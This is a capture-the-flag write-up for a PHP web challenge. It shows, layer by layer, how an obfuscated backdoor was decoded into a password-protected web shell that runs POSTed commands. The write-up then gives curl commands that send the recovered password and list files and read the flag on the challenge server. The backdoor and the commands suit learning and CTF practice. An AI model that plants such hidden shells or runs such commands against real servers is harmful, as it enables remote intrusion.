Web Exploitation

Challenge	Link
Strange (392 pts)	Here

Strange (392 pts)

Description

-

PoC

We were given an obfuscated PHP file (We forgot to save the original file, this picture below is the simplified version and little bit of deobfuscated variable name)

After renaming the variable we can see that there is process of uncompress and base64 decode so the next step is echoing those part.

<?php
$_ = 'eNrtWk1vo0gQvUfa/+DDSM5Iowiwk6wV+WDMhyFDO2DAwCWywYM/cHBiJxh+/VZ1Y5zs5jCrXa20o36WklR3V9Wj6nVZit1qMXx5BPTbu5fV0+FH+46aNfrt0SzeLJLWMJvt91dXV+27i9qr9dsFf51fF1i21r+I/l9W2oHY24dTcRXpar9Nl87d+CnUre23ODg4OH5NtOOtLySB+WrovhROi9zUej+CcnPLhiZMTTauH3mpODg4ODg4ODg4OP5v4P/O4ODg4Ph10Z7P9oub7mOyiPNk0b7jFeHg4ODg4PhH+Ph5fyT1hHkpa7afCfZ6nzqeFiWqcWMMnTyWxHU8HPSMoRlbriEFSngMRqkY+sXRWiewZqMthVkhEboWwZoqwpow1oojcR306wSKKlgZ7Cvo4xUYw/KPXeJG8UKJVrBfkgzstQa2d437BM+vTbS76E802Kf+AwnjR2f/DfpbGbMpT9gnItiVE5O1DGeAt6IWNIeOOWKBxUROTv1swNFvctIYIeaA/YYT7le47yypP+WQnPwLUtcFOK3BrqyVcWvoyVui/54mU020BPXW0OSMVGkxXg02E2mpETfFj6tsVyTetHS8ZHP9OtOE3biUn+Yd583Q7c58eliDbbsBGUdKntY90xPP/+65+5Ntgu8sVsAe5eV0W2APFduX1dkKeqgMGi6L0W4cboVbY+S/zDfH4Xgl76LVIDcm6cYWNNvR8/RhOBDuJ5t0ceKhmttAuhaAR+8UJ5KWE2+TQtyeM6lkF59pVslPvmqkDxP4e0QOYWeQfof1aZCo0UZoONQckcMycYk8Pp9B3xWtN/bcJdhzsemHS/vRoboTQWO0f3GJNq2/QjVYUn8R+4H+tJ8i1Yjun7Rc0B7hWiWfes5iumjbVaO7LTlpoDPGHK6P+108P6YcfaZ7RRUt1N1UY5wwPnC2IH6tS5Hqkul2fdZ1hvFRoyLTpMmekWlSoneFxoiP9K5o9RqN42zZ/WI8oVYlPVPzrGvXsbAWrrU666ruWSkPx6PkNazy1FSJ7KnO8325b/rkqWLlbm2wxQPxSPFeK4EoP3iiMw+3WhW5oRBIThZKvU0Ee7GuQe2NXTAZ9B5cITX1fRGJzvCDprTddeTvjPeaWqyTTuLDPRnlnaTjO+/uCehCrpKRWUZBmH+SEzUj0TlD7yDtZ2XhHFIIzAGqAwFrEU6M3f353jxHT+ZyDHbikb3zFOK9KcIAZsqKzb4Fm3sCEU8zzauaOag0919i82BZ5xqUjT7WLD/0KqOcUAM6xlGLRtdbk/USbKoZCWZX5b3rV13/hi/0S3Mkd3udG4qQfloP1IV44jhAjh064yqNzWXkAjZh9aIzjvKlMzLssnqyZ/rz80ANRDZT0d9evaunHblx18I5xOYD1vPFgmllYz11cxlLnkQ04Dglb5Hu5Y02zjFG82m0teD9qJ5VN4YKJ7wD6KGux2l2NWfzdKbvnue6enPSkr1eduZb69ZQM8nNdqjdYZT1XpPzDBVt6agnkCdSksNMsm4aTab9fvvu4uK/f2Pu09+XtfX17u+4v/P9Gccv54SXbfzZ/tak5d/7+/x7fx9rd/mhWax0X+/+AHJ5pAE=';
echo gzuncompress(base64_decode($_));
?>

After that we will get another obfuscated code so do the same process again (echoing the encoded part)

<?php
function __lambda($sArgs, $sCode)
        {
                return eval("return function($sArgs){{$sCode}};");
        }

$____='printf';$___________='Hacked Class...';
$___ =  'X19sYW1iZGE='     ;
$______= 'cmV0dXJuIGV2YWwoJF9fXyk7'      ;
$____ = 'base64_decode'; 
$___________='Z290byBFQVl0QjsgRUFZdEI6ICRoc21jcCA9ICJcMTI2XDYxXHg1YVwxMjdcMTQxXHg2Ylw2NVwxMjZcMTE1XHg0OFwxNTRcMTI3XDE0MlwxMDdcMTUwXHg1MVx4NTZceDZiXDEyNlx4NjFceDU5XHg1NlwxMjJceDU4XDE0NFx4NDdcMTA2XHg0ZVx4NTZceDZkXDEyMlx4NTZcMTI2XHg0N1x4NzRcNjBceDYxXDEwNlx4NGFceDc0XDE0NFwxMDRcMTI2XDE0MVwxMjJceDU2XHg0YVx4NDRceDU5XHg1NVwxMzJceDRhXDE0NVx4NTdcMTI2XDEwNVwxMjdceDZjXDEzMiI7IGdvdG8gdWF1M0E7IFBlNzgwOiAkS2hFNTgoJF9QT1NUWyRUdk5uaF0pOyBnb3RvIGQ3bWtjOyBQTXNOZDogZ290byBGdUVLUTsgZ290byBJdk5acDsgZHoyWmw6ICRDQVBEaiA9IDA7IGdvdG8geHpOYm07IHVrbkxCOiBpZiAoISgkQ0FQRGogPCA0KSkgeyBnb3RvIEJmX250OyB9IGdvdG8gZ2hSUkg7IG9RSzBTOiAkazBnVEIgPSAkaHNtY3AgLiAkWXdEZk07IGdvdG8gZHoyWmw7IHVhdTNBOiAkWXdEZk0gPSAiXHg1NFx4NTNcMTA1XHg0YVx4NTRceDU3XHg2Y1wxNDRcMTcyXHg2NVwxMDZcMTEyXHg1N1wxMjNcMTU2XHg1Mlx4NGVcMTI2XDYwXDEzMlx4NzBceDU2XHg2Y1wxNTBceDQzXDE0NFx4NmNceDU5XHg3OVwxMTVceDQ4XHg2OFx4NTVcMTE1XDE1M1x4NWFcMTcyXDEzMVx4MzBcMTI2XHg1N1x4NTZceDZjXDE0NFx4NDlceDUxXDE1NFwxMDJceDU3XDE0MVw2MVx4NzBcMTcxXDEyNFw2MVx4NTZceDRmXDE0Mlx4NmNcMTAyXDEyNVwxMTVcMTA1XHg3M1wxMTMiOyBnb3RvIG9RSzBTOyBCOHduYzogJENBUERqKys7IGdvdG8gUE1zTmQ7IG1tNUNwOiBpZiAoISgkX1BPU1RbYmFzZTY0X2RlY29kZSgkcGFxMjIpXSA9PT0gJGswZ1RCKSkgeyBnb3RvIFp5ZVpIOyB9IGdvdG8gejd3dVE7IHo3d3VROiAkS2hFNTggPSBzdHJyZXYoYmFzZTY0X2RlY29kZSgiXHg2MlwxMjdceDU2XHgzMFwxNDNcNjNcMTU0XHg3YSIpKTsgZ290byBqZnJhOTsgdUNsRnY6ICRwYXEyMiA9ICJceDYxXHg0N1wxNTRcMTUzXHg1YVwxMDdcMTI2XDE2NVx4NThcNjNcMTAyXHg2OFx4NjNcNjNceDRlXHgzM1x4NGRcMTEwXHg0YVx4NmJceDRmXHg0MVx4M2RcNzUiOyBnb3RvIG1tNUNwOyBqZnJhOTogJFR2Tm5oID0gYmFzZTY0X2RlY29kZSgiXDE0M1wxMDdcMTA2XDE3MVwxMzFcMTI3XHgzMVwxNjdceDU5XHg1OFx4NGFceDY4XHg2Mlx4NThcMTAyXHg2OFx4NjNcMTU1XDEwNlwxNjQiKTsgZ290byBQZTc4MDsgZ2hSUkg6ICRrMGdUQiA9IGJhc2U2NF9kZWNvZGUoJGswZ1RCKTsgZ290byBHbWZmMjsgeHpOYm06IEZ1RUtROiBnb3RvIHVrbkxCOyBHbWZmMjogaGpqbGE6IGdvdG8gQjh3bmM7IEl2TlpwOiBCZl9udDogZ290byB1Q2xGdjsgZDdta2M6IFp5ZVpIOg==';
$______=$____($______);
$___=$____($___);
// echo $___;
$_____=$___('$___',$______);
// echo $_____;
// $_____($____($___________));
echo $____($___________);
?>

The last part more readable, we just need to give enter on each ; part.

So basically there are 2 $_POST variable , so dump each name and value for the mm5Cp part.

<?php
$hsmcp = "\126\61\x5a\127\141\x6b\65\126\115\x48\154\127\142\107\150\x51\x56\x6b\126\x61\x59\x56\122\x58\144\x47\106\x4e\x56\x6d\122\x56\126\x47\x74\60\x61\106\x4a\x74\144\104\126\141\122\x56\x4a\x44\x59\x55\132\x4a\145\x57\126\105\127\x6c\132";
$YwDfM = "\x54\x53\105\x4a\x54\x57\x6c\144\172\x65\106\112\x57\123\156\x52\x4e\126\60\132\x70\x56\x6c\150\x43\144\x6c\x59\x79\115\x48\x68\x55\115\153\x5a\172\131\x30\126\x57\x56\x6c\144\x49\x51\154\102\x57\141\61\x70\171\124\61\x56\x4f\142\x6c\102\125\115\105\x73\113";
$k0gTB = $hsmcp . $YwDfM;
echo base64_decode($k0gTB);
echo base64_decode("\x61\x47\154\153\x5a\107\126\165\x58\63\102\x68\x63\63\x4e\x33\x4d\110\x4a\x6b\x4f\x41\x3d\75"). "\n";
echo strrev(base64_decode("\x62\127\x56\x30\143\63\154\x7a")) . "\n";
echo base64_decode("\143\107\106\171\131\127\x31\167\x59\x58\x4a\x68\x62\x58\102\x68\x63\155\106\164");
?>

As we can see on the latest deobfusacted part, there are looping. So in this case we try to base64 decode the hidden_passw0rd8 value 4 times and we got readable string.

Since the first decode has been done in php part so we just need to do the rest 3 iteration. After found the correct password we just need to send the command to paramparamparam. Here is curl command we used to solve the challenge

curl -X POST https://strange.hackthesystem.pro/upload/uploaded.php -d "hidden_passw0rd8=howyoucancrackthis?4301ffbafccd4356&paramparamparam=ls -al /"

curl -X POST https://strange.hackthesystem.pro/upload/uploaded.php -d "hidden_passw0rd8=howyoucancrackthis?4301ffbafccd4356&paramparamparam=ls -al /app"

curl -X POST https://strange.hackthesystem.pro/upload/uploaded.php -d "hidden_passw0rd8=howyoucancrackthis?4301ffbafccd4356&paramparamparam=cat /app/flag-5af2e94a1940dadb4db81cb261dda81a6cd68503.php"

Flag : CJ2023{cbbfdd471b88dd4f34e02360d4629399a1b261f0}